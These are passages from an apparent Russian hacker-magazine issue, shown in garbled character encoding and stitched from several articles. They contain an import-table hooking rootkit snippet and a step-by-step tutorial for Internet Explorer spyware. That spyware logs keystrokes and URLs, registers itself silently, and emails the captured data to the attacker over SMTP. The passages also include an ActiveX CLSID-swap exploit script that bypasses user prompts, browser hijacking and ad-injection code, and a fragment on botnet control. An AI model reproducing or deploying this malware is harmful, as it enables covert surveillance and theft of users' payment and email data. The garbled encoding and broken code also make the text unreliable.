ñèñòåìà ïîäêëþ÷àåò dll ê êàêîìó-ëèáî

ïðîöåññó, ñíà÷àëà âûçûâàåòñÿ ãëàâíàÿ dll 

è âûïîëíÿåò òî, ÷òî ó íåå íàõîäèòñÿ â 

DLL_PROCESS_ATTACH.

BOOL APIENTRY DllMain(HANDLE hm, DWORD my_f,

LPVOID lpcd)

{

if(my_f == DLL_PROCESS_ATTACH)

Substitute();

return TRUE;

}

// À âîò îïèñàíèå óæå çíàêîìîé ôóíêöèè

Substitute(), êîòîðàÿ èùåò â òàáëèöå 

èìïîðòà íóæíûé àäðåñ(.idata) è ìåíÿåò

åãî íà àäðåñ íàøåé ôóíêöèè. 

void Substitute (void)

{

// Ñòàíäàðòíûå ñòðóêòóðû îïèñàíèÿ 

PE-çàãîëîâêà

BYTE *pimage = (BYTE*)

GetModuleHandle(NULL); 

BYTE *pidata;

IMAGE_DOS_HEADER *imdh;

IMAGE_OPTIONAL_HEADER *imoh;

IMAGE_SECTION_HEADER *imsh;

IMAGE_IMPORT_DESCRIPTOR *imid;

DWORD *imsd; 

// Ïîëó÷èì óêàçàòåëè íà ñòàíäàðòíûå

ñòðóêòóðû PE-çàãîëîâêà

imdh = (IMAGE_DOS_HEADER*)pimage;

imoh = (IMAGE_OPTIONAL_HEADER*)

(pimage + imdh->e_lfanew 

+ 4 + sizeof(IMAGE_FILE_HEADER));

imsh = (IMAGE_SECTION_HEADER*)

((BYTE*)imoh + sizeof

(IMAGE_OPTIONAL_HEADER));

//Ïðîâåðêà íà íàëè÷èå ó ïðîãðàììû 

PE-çàãîëîâêà

if (imdh->e_magic != 0x5A4D) 

{

printf("Ýòî íå PE-çàãîëîâîê");

return -1;

}

//Èùåì ñåêöèþ .idata

for(int i=0; i<16; i++)

if(strcmp((char*)

((imsh+ i)->Name) , ".idata") == 0) break;

if(i==16) 

{

printf("Íåâîçìîæíî íàéòè ñåêöèþ .idata");

return -1;

}

// Ïîëó÷àåì àäðåñ ñåêöèè .idata

imid = (IMAGE_IMPORT_DESCRIPTOR*)

(pimage + (imsh +i)->VirtualAddress );

// Ïîëó÷àåì àáñîëþòíûé àäðåñ ôóíêöèè 

äëÿ ïåðåõâàòà

ExitW_Addr = (DWORD)GetProcAddress

(GetModuleHandle("user32.dll"),

"ExitWindowsEx");

if(ExitW_Addr == 0)

{

printf(NULL, "Íåâîçìîæíî ïîëó÷èòü

ExitW_Addr");

return -1;

}

// Ïîñêîëüêó ExitWindowsEx îïèñàíà 

â user32.dll, áóäåì èñêàòü ñîîòâåòñòâèå

äëÿ ýòîé áèáëèîòåêè

while(imid->Name) 

{

if(strcmp((char*)(pimage + imid->Name),

"USER32.dll") ==0 ) break;

imid++;

}

// Èùåì íóæíûé àäðåñ

imsd = (DWORD*)(

pimage + imid->FirstThunk);

while

(*imsd!=ExitW_Addr && *imsd!=0) imsd++;

if(*imsd == 0)

{

printf("ExitW_Addr íå íàéäåí â .idata");

return -1;

}

// Çàìåíÿåì àäðåñ ñâîåé ôóíêöèåé

DWORD func_b = (DWORD)&OurFunction;

DWORD a;

// Ïðèíóäèòåëüíî ðàçðåøàåì çàïèñü 

â ýòîé îáëàñòè

VirtualProtect((void*)(imsd),4,

PAGE_READWRITE, &a);

// Çàïèñûâàåì íîâûé àäðåñ

WriteProcessMemory(GetCurrentProcess(),

(void*)(isd),

(void*)&func_b,4,&written);

//Ñíèìàåì ðàçðåøåíèå çàïèñè 

VirtualProtect((void*)(imsd),4,a, &a);

if(written!=4)

{

printf("Íå óäàëîñü çàïèñàòü àäðåñ");

return -1;

}

}

//Îïèñàíèå íàøåé ôóíêöèè:

BOOL WINAPI OurFunction(UINT uFl, DWORD dwR)

{

//Èìåííî çäåñü âûïîëíÿþòñÿ íóæíûå íàì

äåéñòâèÿ, òî åñòü òî, ÷òî íóæíî ñäåëàòü

äî èëè âìåñòî çàâåðøåíèÿ ðàáîòû ñèñòåìû.

…

// È ñíîâà âûçûâàåì íàñòîÿùóþ ôóíêöèþ

ExitWindowsEx

((BOOL (__stdcall*)(HWND, char*, char*,

UINT))ExitW_Addr)(uFlags, dwReason);

return 0;

}

ýòî ââñå? Èòàê, êàê òû âèäèøü, â èíòåðíåòå
èäåò íàñòîÿùàÿ èíôîðìàöèîííàÿ âîéíà. Êòî âûé-
äåò ïîáåäèòåëåì — ïîêàæåò âðåìÿ. Ìû æå äîë-
æíû îáëàäàòü äîñòàòî÷íîé è ïîëíîé èíôîðìàöè-
åé, ÷òîáû âîâðåìÿ ñðåàãèðîâàòü äàæå íà ñêðûòûå
óãðîçû

hhttttpp::////eenn..wwiikkiippeeddiiaa..oorrgg//wwiikkii//RRoooottkkiitt
âîò êàêîå îïðåäåëåíèå ðóòêèòó äàåò wikipedia 

hhttttpp::////wwwwww..cchhkkrroooottkkiitt..oorrgg
òàêèå óòèëèòû êàê chkrootkit ïîçâîëÿþò îïðåäåëèòü 
èçìåíåíèå ÿäðà â ðàáîòàþùåé ñèñòåìå
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÷òî òòàêîå BBrowser HHelper OObject. Â ïåðâóþ
î÷åðåäü, Browser Helper Object — ýòî DLL, êîòîðàÿ
ðåãèñòðèðóåòñÿ â îïåðàöèîííîé ñèñòåìå Windows
êàê äîïîëíåíèå êî âñåì èçâåñòíîìó Microsoft Inter-
net Explorer (òàêîå äîïîëíåíèå èìååòñÿ ó Get Right,
Flyswats, Quiver, Blink, iHarvest è Godzilla). Èäåÿ
«ïîìîùíèêîâ» (helper — ïîìîùíèê), áåç ñîìíå-
íèÿ, õîðîøà (îñîáåííî äëÿ íàñ), ïîòîìó ÷òî ýòà
DLL ìîæåò ñëåäèòü çà äåéñòâèåì ïîëüçîâàòåëÿ,
êîãäà îí íàõîäèòñÿ â áðàóçåðå èëè äðóãîì ïðèëî-
æåíèè, â êîòîðîì óñòàíîâëåí íàø BHO. Òåõíîëî-
ãèþ BHO ïðèìåíÿþò ìíîãèå ïðèëîæåíèÿ, è èìåí-
íî ïîýòîìó Browser Helper Objects ÿâëÿåòñÿ èíòå-
ðåñíåéøåé òåìîé äëÿ ðàçðàáîò÷èêîâ spyware.

BHO ââ ððàçðåçå. Òåõíîëîãèÿ BHO ðåàëèçóåò-
ñÿ ñ ïîìîùüþ COM, ïîýòîìó DLL íàøåãî õåëïåðà —
ýòî íå ÷òî èíîå, êàê âíóòðèçàäà÷íûé COM-ñåðâåð,
ðàáîòàþùèé â êîíòåêñòå ïðîöåññà, ïîäãðóçèâøå-
ãî åãî, è ïîëó÷àþùèé ïîëíûé äîñòóï ê îáúåêòàì
ïðîãðàììû. Ñ ïîìîùüþ IObjectWithSite ìû ïåðåõ-
âàòèì óêàçàòåëü íà èíòåðôåéñ IWebBrowser2, êî-
òîðûé ÿâëÿåòñÿ ðîäèòåëåì êëàññà è îòâå÷àåò çà
âñþ ðàáîòó áðàóçåðà! Ïîñëå òîãî êàê ìû ñäåëàåì
âñå íåîáõîäèìûå ìàíèïóëÿöèè, íàì íåîáõîäèìî

çàïèñàòü åãî â ëþáóþ èç ïåðåìåííûõ-÷ëåíîâ
îáúåêòà, ïîñëå ÷åãî ìîæåì ïîëó÷èòü äîñòóï ê ëþ-
áîìó îáúåêòó áðàóçåðà.

ôóíêöèÿ ôôóíêöèè ððîçíü. Îïèñûâàòü âñå
ôóíêöèè, êîòîðûå òåîðåòè÷åñêè ìîãóò âîéòè â BHO,
ïðîñòî íåðåàëüíî â ïðåäåëàõ ýòîãî æóðíàëà, ïîýòî-
ìó îïðåäåëèìñÿ ñ êîíêðåòíîé çàäà÷åé. ×òî îáû÷íî
æåëàåò çëî-ïðîãðàììèñò? Îí õî÷åò ïîëó÷àòü äàí-
íûå, êîòîðûå ââîäèò ïîëüçîâàòåëü, îñîáåííî îòíî-
ñÿùèåñÿ ê ñèñòåìàì ïëàòåæåé è e-mail àäðåñàì.

Äëÿ òîãî ÷òîáû ïîëó÷èòü äîñòóï ê äàííûì
ñòðàíèöû, íàì íåîáõîäèìî èñïîëüçîâàòü ìåòîä
get_Document, à ïàðàìåòðîì åìó áóäåò îáúåêò èí-
òåðôåéñà IDispatch. Äàëåå íåîáõîäèìî ñîçäàòü
óêàçàòåëü íà IHTMLDocument2. Â îáùåì, âñå îñ-
íîâíîå áóäåò ÿñíî â ïðîöåññå êîäèíãà.

ñòðîèì BBHO. Íàäåþñü, ñòóäèÿ óæå çàïóùå-
íà? Çíà÷èò — â áîé. Ñîçäàåì ïðîåêò Win32 Appli-
cation, âûáèðàåì ALT COM, à â âèçàðäå îñòàâëÿåì
âñå ïî óìîë÷àíèþ, ÷òîáû ïîëó÷èòü ALT COM-ñåð-

âåð. Ïîñëå ñîçäàíèÿ ïðîåêòà çàõîäèì â ìåíþ íà
Add ALT Objects è äîáàâëÿåì Internet Explorer Ob-
ject. Êàê íè êðóòè, à ýòèìè äåéñòâèÿìè ìû íîâûé
ìèð íå îòêðûëè, ïîýòîìó ëåçåì â õèäåð è ãîòîâèì-
ñÿ ê ïðîãðàììèíãó.
Â ïåðâóþ î÷åðåäü, íàéäåì îïèñàíèå êëàññà BHO.
Åñëè òû ñäåëàë ïðîåêò, êàê îïèñàíî âûøå, òî ïîëó-
÷èëîñü íå÷òî âðîäå:

class ATL_NO_VTABLE CBHO:

public CComObjectRootEx

<CComSingleThreadModel>,

public CComCoClass<CBHO, &CLSID_BHO>,

public IObjectWithSiteImpl<CBHO>,

public IDispatchImpl<IBHO, &IID_IBHO, 

&LIBID_IEPLUGINLib>

×òîáû íàøè çàäóìêè â áóäóùåì îñóùåñòâèëèñü,
íåîáõîäèìî äîáàâèòü äåêëàðàöèè íåñêîëüêèõ ïå-
ðåìåííûõ:

ïïîîää 
ííààááëëþþääååííèèååìì
ÏÈØÅÌ SPYWARE ÍÀ ÎÑÍÎÂÅ BHO
IE – ÑÀÌÛÉ ÏÎÏÓËßÐÍÛÉ ÁÐÀÓÇÅÐ. À ×ÒÎ ËÞÁßÒ ÄÅËÀÒÜ ÑÎÑÒÎßÒÅËÜÍÛÅ
ÏÎËÜÇÎÂÀÒÅËÈ? ÊÀÊ ÍÈ ÑÒÐÀÍÍÎ, ÎÏËÀ×ÈÂÀÒÜ Ñ×ÅÒÀ, ÏÎÊÓÏÀÒÜ ÐÀÇËÈ×ÍÛÅ 
ÒÎÂÀÐÛ — È ÂÑÅ ÝÒÎ ÎÑÓÙÅÑÒÂËßÅÒÑß ×ÅÐÅÇ ÈÍÒÅÐÍÅÒ. À ×ÒÎ ÌÅØÀÅÒ ÕÀÊÅÐÓ
ÏÎÄÑÌÎÒÐÅÒÜ ÇÀ ÏÎËÜÇÎÂÀÒÅËÅÌ (ÍÅ Ñ×ÈÒÀß ÓÊ ÐÔ)? ÏÎÑÌÎÒÐÈÌ, ÊÀÊ ËÅÃÊÎ
ÂÇËÎÌÙÈÊ ÌÎÆÅÒ ÏÐÎÑËÅÄÈÒÜ ÇÀ ÂÑÅÌ, ×ÒÎ ÏÎËÜÇÎÂÀÒÅËÜ ÄÅËÀÅÒ 
Â ÑÂÎÅÌ ÁÐÀÓÇÅÐÅ

Êî÷óáåé Ïàâåë aka zOrd
ICQ: 291637112, www.offbit.1gb.ru



public:

STDMETHOD(SetSite)(IUnknown *pUnkSite);

STDMETHOD(Invoke)(DISPID, REFIID, LCID,

WORD, DISPPARAMS*, VARIANT*, EXCEPINFO*,

UINT*);

private:

STDMETHOD(Connect)(void);

CComQIPtr<IWebBrowser2, 

&IID_IWebBrowser2> m_spWebBrowser2;

CComQIPtr<IConnectionPointContainer, 

&IID_IConnectionPointContainer> m_spCPC;

DWORD m_dwCookie;

Èòàê, øàïêó spyware ìû ïîëó÷èëè — áóäåì äâè-
ãàòüñÿ äàëüøå.

Åñëè â MSDN ââåñòè onkeypress (ýòî èìÿ ìå-
òîäà èñïîëüçóåòñÿ â MSDN 2005), òî ÷åðåç íåãî
ìîæíî âûéòè íà get_onkeypress, à åñëè ó òåáÿ áî-
ëåå ñòàðàÿ âåðñèÿ — èñïîëüçóé ìåòîä IHTMLEle-
ment::onkeypress).

Äëÿ ïîäñòðàõîâêè ôóíêöèè íåîáõîäèìî åùå
âûäåðãèâàòü äàííûå èç äîêóìåíòîâ. Ðåàëèçóåòñÿ
ýòî ÷åðåç ôóíêöèþ get_Document, à ïàðàìåòðîì
åìó ñëóæèò IDispatch.

Ñäåëàòü ðåàëèçàöèþ êîäà ïî ìîåìó îïèñà-
íèþ íåòðóäíî:

CComPtr <IDespath> pDisp;

m_spWebBrowser2->get_Document(&pDesp);

Äàëåå ñîçäàäèì óêàçàòåëü íà ôóíêöèþ IHTMLDo-
cument è ïðèñâîèì åìó çíà÷åíèå äèñïà÷à. Ñîçäà-
åòñÿ ýòî ñëåäóþùèì îáðàçîì:

CComPtr <IHTMLDocument2, 

&IID_IHTMLDocument2> spHTML;

spHTML = pDisp;

Ïîñëå ïîäîáíîãî îïèñàíèÿ ôóíêöèé ìû ñìîæåì
áåç ïðîáëåì ïîëó÷èòü äîñòóï ê ëþáîé ÷àñòè êîäà.
Äëÿ ýòîãî íåîáõîäèìî âîñïîëüçîâàòüñÿ ìåòîäîì
get_body, ïðèíàäëåæàùèì ê spHTML. Òåïåðü îïè-
øåì ôóíêöèþ, êîòîðàÿ, ïîæàëóé, ñàìàÿ ãëàâíàÿ â
íàïèñàíèè spyware.

Ìåòîä IHTMLElement ñëàâèòñÿ ñâîèìè êëàñ-
ñàìè, è ñðåäè íèõ — ìíîæåñòâî óïðàâëÿþùèõ ââî-
äîì/âûâîäîì èíôîðìàöèè â áðàóçåðå. Ýòà ôóíê-
öèÿ äëÿ íàñ î÷åíü âàæíà — ê åå èçó÷åíèþ ìû ñåé-
÷àñ è ïðèñòóïèì. Äëÿ íà÷àëà íåîáõîäèìî ñîçäàòü
áóôåð — òàì áóäåò ñîáèðàòüñÿ âñÿ âûëîâëåííàÿ ó
ïîëüçîâàòåëÿ èíôîðìàöèÿ. Îïðåäåëèì, â êàêèõ
èíòåðôåéñàõ èìååòñÿ ñîáûòèå onkeypress:

HTMLTextContainerEvents2

HTMLAnchorEvents2

HTMLFormElementEvents2

HTMLTableEvents2

Äàëåå îáû÷íûì îáðàçîì îáúÿâèì íåîáõîäèìûå
ôóíêöèè è ñâÿæåì èõ — áóäåì ñ÷èòàòü, ÷òî ïîëäå-
ëà ñäåëàíî:

#define BUFSIZE 4096

...

HTMLTextContainerEvents2->

onkeypress(&pDesp)

...

Òåïåðü íàø BHO íàó÷èëñÿ îòëàâëèâàòü êëàâèàòóð-
íûå íàæàòèÿ è çàíîñèòü èõ â ôàéë. Ïîæàëóé, òóò
åñòü íåêîòîðîå óïóùåíèå. Êëàâèøè-òî îí ïåðåõâà-
òûâàåò, à âîò ñ êàêîãî ñàéòà? Ìîäåðíèçèðóåì íàø
êîä åùå íåñêîëüêèìè ôóíêöèÿìè!

Äëÿ ðåàëèçàöèè çàäóìêè íåîáõîäèìî ïåðåõ-
âàòèòü URL èç ìîäåëè áðàóçåðà è âíåñòè åãî â íàø
ôàéëèê. Ýòè äåëà áóäåò îñóùåñòâëÿòü ìåòîä
get_LocationURL, à âûãëÿäåòü âñå áóäåò òàê:

BSTR wstr;

m_spWebBrowser->get_LocationURL(&wstr);

Ãäå wstr — ýòî óêàçàòåëü íà ìàññèâ äâóõáàéòîâûõ
ñèìâîëîâ, â êîòîðûé íàø ìåòîä ïåðåíåñåò çíà÷åíèÿ.

Âîò è âñå — îáùàÿ êàðòèíà ïðîÿñíèëàñü. Òå-
ïåðü äëÿ ïîëíîãî è áåçîãîâîðî÷íîãî ñ÷àñòüÿ îñòà-
åòñÿ ðåàëèçîâàòü ñîõðàíåíèå äàííûõ â ôàéë:

DWORD dwBytesRead, dwBytesWritten,

dwBufSize=BUFSIZE;

#define BUFSIZE 4096

BOOL f_wf;

f_wf=WriteFile(hTempFile, buffer, 

dwBytesRead, &dwBytesWritten, NULL);

ðåãèñòðàöèÿ ââ ññèñòåìå. Ëþáîìó îáúåêòó, êî-
òîðîìó íåîáõîäèìî çàêðåïèòüñÿ â îïåðàöèîííîé
ñèñòåìå, íàäî âûïîëíèòü ðåãèñòðàöèþ. Äëÿ Browser
Helper Object åñòü ñïåöèàëüíûå êëþ÷è ðååñòðà, â êî-
òîðûå íàì íåîáõîäèìî âíåñòè èíôîðìàöèþ.

Âî âðåìÿ ñîçäàíèÿ íàøåãî ïðîåêòà â ñòóäèè
òàêæå ïîÿâèëñÿ ôàéë ñ ðàñøèðåíèåì rgs. Îí áó-
äåò äîáàâëåí â ðåñóðñû, à òàêæå îïèøåò äåéñòâèÿ,

êîòîðûå è áóäóò îòâåòñòâåííû çà ðåãèñòðàöèþ.
Íî, ÷òîáû BHO ðàáîòàë ïðàâèëüíî, íàì íàäî íåì-
íîãî ýòîò ôàéë ïîäêîððåêòèðîâàòü. Ïåðâîå, ÷òî
ìû ñäåëàåì, — ìåíÿåì CLSID íà TypeLib íà òå æå,
÷òî è â íàøåì BHO. Âòîðîå — äîáàâèì â ôàéë
åùå îäèí êëþ÷, êîòîðûé ñòóäèÿ íàì íå ïðèïèñàëà,
à òàêæå áåç êîòîðîãî íàø BHO íå áóäåò ïîäãðó-
æàòüñÿ ê IE:

HLKM

{SOFTWARE

{Microsoft

{Windows

{Current Version

{Explorer

{‘Browser Helper Objects’

{Force Remove 

{G4G53DNL-Q9LF-OV7D- 3753538543BVB7}=s

‘SPYFORM’

}}}}}}}

Òåïåðü ïîñëå êîìïèëÿöèè íóæíî ïðîñòî çàïóñòèòü
regsvr32 c êëþ÷àìè /s /c è ïóòåì ê íàøåé DLL.

à êêàê ææå îîòïðàâëÿòü ííàìûòûå ääàííûå? Èòàê,
ìàëåíüêèé ïîìîùíèê ïîëüçîâàòåëÿ ñîçäàí, è îí
ïîñëóøíî âûïîëíÿåò ñâîè äåéñòâèÿ. Íî êàê æå îí
áóäåò èõ îòïðàâëÿòü? Äëÿ ýòîé öåëè ìû âêëþ÷èì â
ðàçðàáîòêó îòïðàâêó ïèñåì íà åìåéë.

Ñíà÷àëà ñîçäàäèì íåáîëüøîé ìîäóëü, êîòî-
ðûé áóäåò ñ÷èòûâàòü äàííûå èç ôàéëà:

#define BUFSIZE 4096

void WriteBuffer (void)

{

hFile = CreateFile("spyform.txt",  

GENERIC_READ, 

0, 

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, 

NULL);
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...

DWORD dwBytesRead;

#define BUFSIZE 4096

BOOL f_rf;

f_rf= ReadFile(hFile, buffer, 4096, 

&dwBytesRead, NULL)

BYTE bBugIE[BUFSIZE];

...

CloseHandle(hFile); 

}

Äëÿ îòïðàâêè ïèñåì áûëî ðåøåíî èñïîëüçîâàòü
SMPT. Äëÿ íà÷àëà ñîçäàäèì ñòðóêòóðó smpt-àäðåñà:

SOCKET nSMTPServerSocket;

struct sockaddr_in smtp_address;

int nConnect;

int iLength;

int iMsg = 0;

int iEnd = 0;

BYTE sBuf[4096];

Äàëåå îïðåäèëèì ñàìî ñîîáùåíèå è åãî äàííûå:

char *MailMessage[] =

{

"HELO SpyForm\r\n",

"MAIL FROM:<---->\r\n",

// àäðåñ îòïðàâèòåëÿ

"RCPT TO:<---->\r\n",

// àäðåñîê ïîëó÷àòåëÿ

"DATA\r\n",

"<&BugIE\r\n\r\n.\r\n",

// òåëî ñîîáùåíèÿ

"QUIT\r\n",

NULL

};

Íó à ïîòîì — ÷åðåç ñòðóêòóðó smtp_address —
îïðåäåëÿåì ñòðóêòóðó ñåðâèñà äëÿ îïðàâêè ïèñåì,
à òàêæå ñîçäàåì ñàì êîííåêò, êîòîðûé áóäåò óæå
ïî íàøåé èíôîðìàöèè îòïðàâëÿòü ïèñüìî. Âåñü
êîä ïðèâîäèòü ìû òóò íå áóäåì: åãî ìîæíî íàéòè
íà íàøåì êîìïàêò-äèñêå.

ãîðÿ÷àÿ ääîñòàâêà ïïîëüçîâàòåëþ. Ñ îñíîâíû-
ìè ìîìåíòàìè ïîêîí÷åíî. Òîëüêî âîïðîñ: à êàê æå
çëîóìûøëåííèêè äîñòàâëÿþò ïðîäóêò êîíå÷íîìó
ïîëüçîâàòåëþ? Çäåñü èì ïîìîãàþò ActiveX-îáúåê-
òû, êîòîðûå ïðåäñòàâëÿþùèå ñîáîé íåáîëüøèå
èñïîëíÿåìûå ìîäóëè, êîòîðûå ìîãóò áûòü âíåäðå-
íû â äîêóìåíòû. Òàêèìè äîêóìåíòàìè ÿâëÿþòñÿ,
íàïðèìåð, Word èëè Excel. Â êà÷åñòâå äîêóìåíòîâ-
êîíòåéíåðîâ ìîãóò ñëóæèòü òàêæå è web-ñòðàíè-
öû, íàïèñàííûå íà HTML. Ïðè îòîáðàæåíèè òàêîé
ñòðàíèöû áðàóçåð ïðåäîñòàâëÿåò âíåäðåííîìó
ìîäóëþ ActiveX ïðÿìîóãîëüíóþ îáëàñòü íà ñòðà-
íèöå. Â íåé ìîäóëü ìîæåò ñåáÿ ïðîðèñîâûâàòü,
âçàèìîäåéñòâîâàòü ñ ïîëüçîâàòåëåì, ïðèíèìàòü è
âûâîäèòü äàííûå è ò.ä. Ïîìèìî âèçóàëüíûõ Acti-
veX-îáúåêòîâ ñóùåñòâóþò è íåâèçóàëüíûå. Îíè ñëó-
æàò ãëàâíûì îáðàçîì äëÿ äîñòóïà ê îïðåäåëåííûì
ïðîãðàììíûì ðåñóðñàì ìàøèíû èëè ê äàííûì
ïîëüçîâàòåëÿ è îïåðàöèîííîé ñèñòåìû. Â ýòîì

ðàçäåëå ìû ðàññìîòðèì òèï óÿçâèìîñòè ñîâðå-
ìåííûõ áðàóçåðîâ, îñíîâàííûõ íà íåñàíêöèîíè-
ðîâàííîì çàïóñêå ActiveX. 

Ïðè àêòèâàöèè ýòîãî îáúåêòà Explorer íå çà-
ïðàøèâàåò ðàçðåøåíèÿ ó ïîëüçîâàòåëÿ, ïîñêîëü-
êó îáúåêò ñåðòèôèöèðîâàí.

Ïîñëå çàãðóçêè ActiveX ìîäèôèöèðóåì åãî
CLSID, çàìåíÿÿ åãî íà CLSID íåîáõîäèìîãî íàì
íåñåðòèôèöèðîâàííîãî ActiveX (â äàííîì ñëó÷àå
WScript.Network):

<script>

function modify(){

theActiveX.setCLSID("{F935DC26-1CF0-11D0-

ADB9-00C04FD58A0B}")//çàìåíÿåì CLSID

//Èìåííî â ýòîì ìåñòå êðîåòñÿ óÿçâèìîñòü.

//Åñëè áðàóçåð âûäàåò îøèáêó â ñëåäóþùåì 

îïåðàòîðå, çíà÷èò, îí íå ïîäâåðæåí 

óÿçâèìîñòè

theActiveX.createInstance()

//ñîçäàåì íîâûé îáúåêò

WshNetwork = theActiveX.GetObject()

//ïîëó÷àåì ìîäèôèöèðîâàííûé îáúåêò

var userName=WshNetwork.UserName;

//ïîëó÷àåì èíôîðìàöèþ î ïîëüçîâàòåëå

}

</script>

Ïîñëå çàãðóçêè ñòðàíè÷êè ïðèâåäåííûé ñêðèïò
íóæíî çàïóñêàòü ñïóñòÿ íåñêîëüêî ñåêóíä, ïîñêîëü-
êó îáúåêòó òðåáóåòñÿ âðåìÿ, ÷òîáû àêòèâèðîâàòüñÿ:

<script>setTimeout

("modify()",1000);//çàïóñêàåì 

ìîäèôèêàöèþ CLSID ïîñëå çàãðóçêè ñòðàíèöû

</script>

Ïîñëå ìîäèôèêàöèè CLSID-îáúåêòà ìû ïîëó÷àåì
íîâûé îáúåêò ñ íóæíûì íàì CLSID, è áðàóçåð ïðè
ýòîì íå çàïðàøèâàåò ïîäòâåðæäåíèÿ íà çàïóñê ó
ïîëüçîâàòåëÿ!

äàåøü ááîëüøå ôôóíêöèé! Ìîæíî ñêàçàòü, ÷òî
ó íàñ ïîëó÷èëñÿ óíèâåðñàëüíûé øïèîí, íî âåäü íà
ñâåòå ñóùåñòâóåò åùå ìíîãî èíòåðåñíîãî! Ïîñìî-
òðèì íà ôóíêöèè, êîòîðûå ìîãóò ïîìî÷ü â ñîçäà-
íèè ñîáñòâåííîãî BHO.

Êàê èçâåñòíî, ìíîãèå âåá-ìàñòåðû õîòÿò, ÷òî-
áû èõ ïðîåêò ëèöåçðåëî áîëüøîå êîëè÷åñòâî ëþ-
äåé… À ÷òî íåîáõîäèìî äëÿ ðàñêðóòêè ïðîåêòà? Êî-
íå÷íî, ïîìèìî ÷åñòíûõ ñïîñîáîâ è ôèíàíñèðîâàíèÿ
ðàçëè÷íûõ äîáðûõ ïîìîùíèêîâ. Íàâåðíîå, BHO â
ýòîì òîæå ìîæåò ïîìî÷ü, âåäü ñóùåñòâóåò ôóíêöèÿ
äëÿ çàäàíèÿ URL. Ðàññìîòðèì åå íà ïðèìåðå.

//Èñïîëüçóåì óæå çíàêîìóþ íàì ôóíêöèþ

IWebBrowser2

m_spWebBrowser->Navigate

(TEXT("http://www.offbit.1gb.ru")0,0,0,0)

Ïðè óñëîâèè ãðàìîòíîãî èñïîëüçîâàíèÿ BHO êîì-
ïüþòåðíûé íåãîäÿé ñìîæåò ïðîâåðíóòü ïî-íàñòîÿùå-

ìó ïðèáûëüíîå äåëüöå! Ê ïðèìåðó, ìîæíî óñòàíîâèòü
â ïàíåëè áðàóçåðà íåáîëüøóþ ðåêëàìó, êîòîðóþ áó-
äåò ëèöåçðåòü æåðòâà. ×òîáû óçíàòü îá ýòîì áîëüøå,
íóæíî ïî÷èòàòü èíôîðìàöèþ âîò îá ýòèõ ôóíêöèÿõ:

IObjectWithSite

IPersistStream

IDeskBand

Ìíå áîëüøå âñåãî ïîíðàâèëàñü IDeskBand. Â åå êî-
äå ÿâíî ïðîïèñûâàåòñÿ, êàêîå ñäåëàòü îêíî, è îïè-
ñûâàåòñÿ ôóíêöèÿ çàêðûòèÿ îêíà, à ýòî äëÿ íàñ
âàæíî! Ìîæíî ïðîñòî ïðîïóñòèòü ýòó ôóíêöèþ — 
è òîãäà îíî îòêðîåòñÿ íàâå÷íî. Âîò ïðèìåð:

STDMETHODIMP CExplorerBar::ShowDW

(BOOL fShow)

{

if(m_hWnd)

{

if(fShow)

{

//show our window

ShowWindow(m_hWnd, SW_SHOW);

}

else

{

//hide our window

ShowWindow(m_hWnd, SW_HIDE);

}

}

return S_OK;

}

Òîâàðèùàì, êîòîðûì ïîíðàâèëñÿ òàêîé çëîêà÷å-
ñòâåííûé âàðèàíò ðåêëàìû, ïðÿìàÿ äîðîãà â
MSDN, â ðàçäåë «Creating Custom Explorer Bars, To-
ol Bands, and Desk Bands» — òàì ïðèâîäÿòñÿ êîí-
êðåòíûå ïðèìåðû ïî ñîçäàíèþ Bars & Bands.

Åñëè æå ïðîãðàììåð ÿâëÿåòñÿ øóòíèêîì èëè
ïðîñòî âåëèêèì âðàãîì Internet Explorer, òî äëÿ íå-
ãî ó íàñ òîæå ïðèïàñåí îäèí ïðèìåð.

Åñëè ðàññìîòðåòü ôóíêöèþ IHTMLDocument2
ïîâíèìàòåëüíåé, òî ìîæíî íàéòè â íåé óéìó èíòå-
ðåñíûõ ìåòîäîâ, íàïðèìåð, ñëåäóþùèå: close, open,
offline è, êîíå÷íî æå, write. Ñ ïîìîùüþ ýòèõ íåõè-
òðûõ ôóíêöèé ïëîõîé ÷åëîâåê ñìîæåò ñäåëàòü ðà-
áîòó â IE íåâîçìîæíîé!

The EEnd. Âîò è ïîäîøëà ê êîíöó íàøà ïîýìà
î BHO. Îñíîâûâàÿñü íà ýòîé ñòàòüå è MSDN, òû
ñìîæåøü ñäåëàòü òî, î ÷åì ìå÷òàë äîëãèå ãîäû —
ïðîñòîãî è ôóíêöèîíàëüíîãî ïîìîùíèêà. Íî ó÷òè,
÷òî èñïîëüçîâàòü åãî â ïðîòèâîçàêîííûõ öåëÿõ —
áîëüøîå çëî! Ñòàòüÿ íàïèñàíà â îáðàçîâàòåëüíûõ
öåëÿõ, òàê ÷òî ìû íå íåñåì îòâåòñòâåííîñòè çà ëþ-
äåé, êîòîðûå ëþáÿò ñîâàòü íîñ â ÷óæèå äåëà! 

hhttttpp::////mmssddnn..mmiiccrroossoofftt..ccoomm//lliibbrraarryy//ddeeffaauulltt..aasspp??uurrll==//lliibbrraarryy//
eenn-uuss//ddnnwweebbggeenn//hhttmmll//bbhhoo..aasspp
áîëüøå èíôîðìàöèè î òåõíîëîãèè BHO

wwwwww..aannttiicchhaatt..rruu//aaccttiivveexx
èíôîðìàöèÿ î çëîâðåäíîì ÏÎ è òåõíîëîãèè ActiveX
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÷òî ääîëæíà óóìåòü ïïîäîáíàÿ ññèñòåìà? Åñòå-
ñòâåííî, ãëàâíîé ôóíêöèåé òàêîãî ðîäà ïðîãðàìì
ÿâëÿåòñÿ ìàññîâîå îòïðàâëåíèå êîìàíä áîòàì, íî,
íà ñàìîì äåëå, ýòîãî ìàëî: íå ìåíåå âàæíîé ôóíê-
öèåé ÿâëÿåòñÿ ñïîñîáíîñòü îïðåäåëèòü, êàêèå áîòû
â íàñòîÿùèé ìîìåíò âðåìåíè íàõîäÿòñÿ â îíëàéíå,
à êàêèå — â îôôëàéíå. Òàêæå, åñëè òðîÿí ìíîãî-
ôóíêöèîíàëüíûé: óìååò ïîõèùàòü ïàðîëè, åìåéëû,
ðàáîòàòü ñ ôàéëàìè íà çàðàæåííîì êîìïüþòåðå 
è ò.ä., òî ó õàêåðà äîëæíà áûòü âîçìîæíîñòü îá-
ùàòüñÿ ñ êàæäûì áîòîì â îòäåëüíîñòè. Åñëè control
center áóäåò íàõîäèòüñÿ íà êîìïüþòåðå ó õàêåðà, òî
óðîâåíü áåçîïàñíîñòè çàìåòíî ñíèçèòñÿ, ïîýòîìó
ëîãè÷íî ðàçìåñòèòü åãî ãäå-íèáóäü ïîäàëüøå. Íå-
